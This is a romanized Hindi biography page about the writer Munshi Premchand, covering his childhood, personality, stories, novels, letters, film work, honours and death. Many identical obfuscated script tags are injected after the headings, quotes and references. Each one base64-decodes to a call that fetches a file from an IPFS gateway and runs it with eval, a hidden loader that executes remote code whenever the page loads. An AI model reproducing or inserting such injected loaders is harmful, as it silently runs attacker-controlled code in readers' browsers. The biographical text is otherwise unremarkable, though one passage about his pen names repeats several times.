any janakari premachand unaka sahityik nam tha aur bahut varshoan bad unhoanne yah nam apanaya tha. unaka vastavik nam ‘dhanapat ray’ tha. jab unhoanne sarakari seva karate hue kahani likhana arambh kiya, tab unhoanne navab ray nam apanaya. bahut se mitr unhean jivan-paryant navab ke nam se hi sambodhit karate rahe.
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

muanshi premachand (aangrezi: Munshi Premchand, janm: 31 julaee, 1880 - mrityu: 8 aktoobar, 1936) bharat ke upanyas samrat mane jate haian jinake yug ka vistar sanh 1880 se 1936 tak hai. yah kalakhand bharat ke itihas mean bahut mahattv ka hai. is yug mean bharat ka svatantrata-sangram nee manziloan se guzara. premachand ka vastavik nam dhanapat ray shrivastav tha. ve ek saphal lekhak, deshabhakt nagarik, kushal vakta, zimmedar sanpadak aur sanvedanashil rachanakar the. bisavian shati ke poorvarddh mean jab hindi mean kam karane ki takaniki suvidhaean nahian thian phir bhi itana kam karane vala lekhak unake siva koee doosara nahian hua.[1]

jivan parichay

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

premachand ka janm varanasi se lagabhag char mil door, lamahi nam ke gaanv mean 31 julaee, 1880 ko hua. premachand ke pitaji muanshi ajayab lal aur mata anandi devi thian. premachand ka bachapan gaanv mean bita tha. ve natakhat aur khila di balak the aur khetoan se shak-sabzi aur pe doan se phal churane mean daksh the. unhean mithaee ka b da shauq tha aur vishesh roop se gu d se unhean bahut prem tha. bachapan mean unaki shiksha-diksha lamahi mean huee aur ek maulavi sahab se unhoanne urdoo aur farasi padhana sikha. ek rupaya churane par ‘bachapan’ mean un par buri tarah mar p di thi. unaki kahani, ‘kazaki’, unaki apani bal-smritiyoan par adharit hai. kazaki dak-vibhag ka harakara tha aur b di lambi-lambi yatraean karata tha. vah balak premachand ke lie sadaiv apane sath kuchh saugat lata tha. kahani mean vah bachche ke liye hiran ka chhauna lata hai aur dakaghar mean deri se pahuanchane ke karan naukari se alag kar diya jata hai. hiran ke bachche ke pichhe dau date-dau date vah ati vilamb se dak ghar lauta tha. kazaki ka vyaktitv atishay manaviyata mean dooba hai. vah shalinata aur atmasamman ka putala hai, kintu manaviy karuna se usaka hriday bhara hai.

chitr:Blockquote-open.gif premachand ji kahate haian ki samaj mean zinda rahane mean jitani kathinaiyoan ka samana log kareange utana hi vahaan gunah hoga. agar samaj mean log khushahal hoange to samaj mean achchhaee zyada hogi aur samaj mean gunah nahian ke barabar hoga. premachand ne shoshitavarg ke logoan ko uthane ka har sanbhav prayas kiya. unhoanne avaz lagaee 'e logo jab tumhean sansar mean rahana hai to jindoan ki tarah raho, murdoan ki tarah zinda rahane se kya fayada.' chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vyaktitv

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sada evan saral jivan ke malik premachand sada mast rahate the. unake jivan mean vishamataoan aur katutaoan se vah lagatar khelate rahe. is khel ko unhoanne bazi man liya jisako hamesha jitana chahate the. kaha jata hai ki premachand hanso d prakriti ke malik the. vishamataoan bhare jivan mean hanso d hona ek bahadur ka kam hai. isase is bat ko bhi samajha ja sakata hai ki vah apoorv jivani-shakti ka dyotak the. saralata, saujany aur udarata ki vah moorti the. jahaan unake hriday mean mitroan ke lie udar bhav tha vahian unake hriday mean gariboan evan pi ditoan ke lie sahanubhooti ka athah sagar tha. premachand uchchakoti ke manav the. inako gaanv jivan se achchha prem tha. vah sada sadharan ganvee libas mean rahate the. jivan ka adhikaansh bhag unhoanne gaanv mean hi guzara. bahar se bilkul sadharan dikhane vale premachand andar se jivani-shakti ke malik the. andar se jara sa bhi kisi ne dekha to use prabhavit hona hi tha. vah adambar evan dikhava se miloan door rahate the. jivan mean n to unako vilas mila aur n hi unako isaki tamanna thi. tamam mahapurushoan ki tarah apana kam svayan karana pasand karate the.[2]

sahityik jivan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

premachand unaka sahityik nam tha aur bahut varshoan bad unhoanne yah nam apanaya tha. unaka vastavik nam ‘dhanapat ray’ tha. jab unhoanne sarakari seva karate hue kahani likhana arambh kiya, tab unhoanne navab ray nam apanaya. bahut se mitr unhean jivan-paryant navab ke nam se hi sambodhit karate rahe. unhoanne hindi mean shekh sadi par ek chhoti-si pustak likhi thi, t aaulsat aauy ki kuchh kahaniyoan ka hindi mean anuvad kiya tha aur ‘prem-pachisi’ ki kuchh kahaniyoan ka roopantar bhi hindi mean kar rahe the. ye kahaniyaan ‘sapt-saroj’ shirshak se hindi sansar ke samane sarvapratham sanh 1917 mean ayian. ye sat kahaniyaan thian:-

chitr:Blockquote-open.gif shayad kam log janate haian ki prakhyat kathakar muanshi premachand apani mahanh rachanaoan ki rooparekha pahale aangrezi mean likhate the aur isake bad use hindi athava urdoo mean anoodit kar vistarit karate the. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. b de ghar ki beti
  2. saut
  3. sajjanata ka dand
  4. panch parameshvar
  5. namak ka daroga
  6. upadesh
  7. pariksha

premachand ki sarvashreshth kahaniyoan mean in kahaniyoan ki ganana hoti hai.

sahity ki visheshataean

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

premachand ki rachana-drishti, vibhinn sahity roopoan mean, abhivyakt huee. vah bahumukhi pratibha sanpann sahityakar the. premachand ki rachanaoan mean tatkalin itihas bolata hai. unhoanne apani rachanaoan mean jan sadharan ki bhavanaoan, paristhitiyoan aur unaki samasyaoan ka marmik chitran kiya. unaki kritiyaan bharat ke sarvadhik vishal aur vistrit varg ki kritiyaan haian. apani kahaniyoan se premachand manav-svabhav ki adharabhoot mahatta par bal dete haian. ‘b de ghar ki beti,’ anandi, apane devar se aprasann huee, kyoanki vah ganvar usase karkashata se bolata hai aur us par khianchakar kh daooan pheankata hai. jab use anubhav hota hai ki unaka parivar toot raha hai aur usaka devar paritap se bhara hai, tab vah use kshama kar deti hai aur apane pati ko shaant karati hai.

premachand ke patr

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

premachand ne apane jivan-kal mean hazaroan patr likhe hoange, lekin unake jo patr kal ka gras banane se bache rah ge aur jo samprati upalabdh haian, unamean sarvadhik patr ve haian jo unhoanne apane kal ki lokapriy urdoo masik patrika ‘zamana’ ke yashasvi sampadak muanshi dayanarayan nigam ko likhe the. yoan to muanshi dayanarayan nigam premachand se do varsh chhote the lekin premachand unako sada b de bhaee jaisa samman dete rahe. in donoan vibhootiyoan ke parasparik sambandhoan ko paribhashit karana to atyant durooh kary hai, lekin premachand ke is adar bhav ka karan yah pratit hota hai ki premachand ko sahityik sansar mean pahachan dilane ka mahaniy kary nigam sahab ne unako ‘zamana’ mean nirantar prakashit karake hi sampadit kiya tha, aur us kal ki patrikaoan mean to yahaan tak prakashit hua ki premachand ko premachand banane ka shrey yadi kisi ko hai to muanshi dayanarayan nigam ko hi hai.[3]

premachand ka svarnim yug

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

premachand ki upanyas-kala ka yah svarn yug tha. sanh 1931 ke arambh mean gaban prakashit hua tha. 16 aprail, 1931 ko premachand ne apani ek aur mahanh rachana, karmabhoomi shuroo ki. yah agast, 1932 mean prakashit huee. premachand ke patroan ke anusar sanh 1932 mean hi vah apana antim mahanh upanyas, godan likhane mean lag gaye the, yadyapi ‘hans’ aur ‘jagaran’ se sambandhit anek kathinaiyoan ke karan isaka prakashan joon, 1936 mean hi sambhav ho saka. apani antim bimari ke dinoan mean unhoanne ek aur upanyas, ‘mangalasootr’, likhana shuroo kiya tha, kintu akal mrityu ke karan yah apoorn rah gaya. ‘gaban’, ‘karmabhoomi’ aur ‘godan’- upanyasatrayi par vishv ke kisi bhi kritikar ko garv ho sakata hai. ‘karmabhoomi’ apani kraantikari chetana ke karan vishesh mahattvapoorn hai.

chitr:Blockquote-open.gif premachand unaka sahityik nam tha aur bahut varshoan bad unhoanne yah nam apanaya tha. unaka vastavik nam ‘dhanapat ray’ tha. jab unhoanne sarakari seva karate hue kahani likhana arambh kiya, tab unhoanne navab ray nam apanaya. bahut se mitr unhean jivan-paryant 'navab' ke nam se hi sambodhit karate rahe. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

premachand aur sinema

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

premachand hindi sinema ke sabase adhik lokapriy sahityakaroan mean se haian. unake dehaant ke do varshoan bad ke. subramanyam ne 1938 mean sevasadan upanyas par film banaee jisamean subbulakshmi ne mukhy bhoomika nibhaee thi. premachand ki kuchh kahaniyoan par aur filmean bhi bani haian, jaise satyajit ray ki film shataranj ke khila di[4] premachand ne mazadoor shirshak film ke lie sanvad likhe. film ke svamiyoan ne kahani ki rooparekha taiyar ki thi. film mean ek desh-premi mil-malik ki katha thi, kintu seansar ko yah bhi sahan n ho saka. phir bhi film ka pradarshan panjab, dilli, uttar pradesh aur madhy pradesh mean hua. film ka mazadooroan par itana asar hua ki pulis bulani p d gee. aant mean film ke pradarshan par bharat sarakar ne rok laga di. is film mean premachand svayan bhi kuchh kshan ke lie rajatapat par avatirn hue. mazadooroan aur malikoan ke bich ek sangharsh mean ve panch ki bhoomika mean ae the. ek lekh mean premachand ne sinema ki halat par apana bharapoor rosh aur asantosh vyakt kiya hai. vah sahity ke dhyey ki tulana karate haian:

chitr:Blockquote-open.gif sahity ke bhavoan ki jo uchchata, bhasha ki praudhata aur spashtata, sundarata ki jo sadhana hoti hai, vah hamean sinema mean nahian milati. chitr:Blockquote-close.gif

- premachand

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

puraskar

thumb|premachand ke samman mean jari dak tikat muanshi premachand ki smriti mean bharatiy dak vibhag ki or se 31 julaee, 1980 ko unaki janmashati ke avasar par 30 paise mooly ka ek dak tikat jari kiya. gorakhapur ke jis skool mean ve shikshak the, vahaan premachand sahity sansthan ki sthapana ki gee hai. isake baramade mean ek bhittilekh hai jisaka chitr dahini or diya gaya hai. yahaan unase sanbandhit vastuoan ka ek sangrahalay bhi hai. jahaan unaki ek vakshapratima bhi hai. premachand ki patni shivarani devi ne premachand ghar mean nam se unaki jivani likhi aur unake vyaktitv ke us hisse ko ujagar kiya hai, jisase log anabhijn the. unake hi bete amrit ray ne 'qalam ka sipahi' nam se pita ki jivani likhi hai. unaki sabhi pustakoan ke aangrezi v urdoo roopaantar to hue hi haian, chini, roosi adi anek videshi bhashaoan mean unaki kahaniyaan lokapriy huee haian.

alochana

premachand ki badhati huee khyati se kuchh vyaktiyoan ke man mean b di kudhan aur eershya ho rahi thi. inamean se ek, shri avadh upadhyay ne premachand ke viruddh sahityik chori ka abhiyog lagaya aur unake viruddh chhah mahine tak lekh likhe. bijaganit ke many farmooloan se ve siddh karate rahe ki-

k+kh+g / d = p+ph+b / gh

yani premachand ki 1/3 sofiya thaikare ki ¼ amiliya ka smaran dilati hai. ek aur asaphal kathakar ne alochak ka bana dharan karate hue premachand ko ‘ghrina ka pracharak’ kaha tha.

mrityu

aantim dinoan ke ek varsh ko chho dakar (sanh 1934-35 jo muanbee ki filmi duniya mean bita), unaka poora samay varanasi aur lakhanoo mean guzara, jahaan unhoanne anek patr-patrikaoan ka sanpadan kiya aur apana sahity-srijan karate rahe. 8 aktoobar, 1936 ko jalodar rog se unaka dehavasan hua.[4] is tarah vah dip sada ke lie bujh gaya jisane apani jivan ki batti ko kan-kan jalakar bharatiyoan ka path alokit kiya.

  1. REDIRECTsaancha:inhean bhi dekhean


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. gupt, prakashachandr (1984) premachand bharatiy sahity ke nirmata. nee dilli: sahity akadami.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. premachand : jivan parichay (hindi) (ech.ti.em.el). . abhigaman tithi: 9 navanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. jain, pradip. premachand ke patr (hiandi) hiandi samay. abhigaman tithi: 22 march, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. 4.0 4.1 hamare sahityakar - premachand (hindi) (ech.ti.em.el) bal jayahindi. abhigaman tithi: 14 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>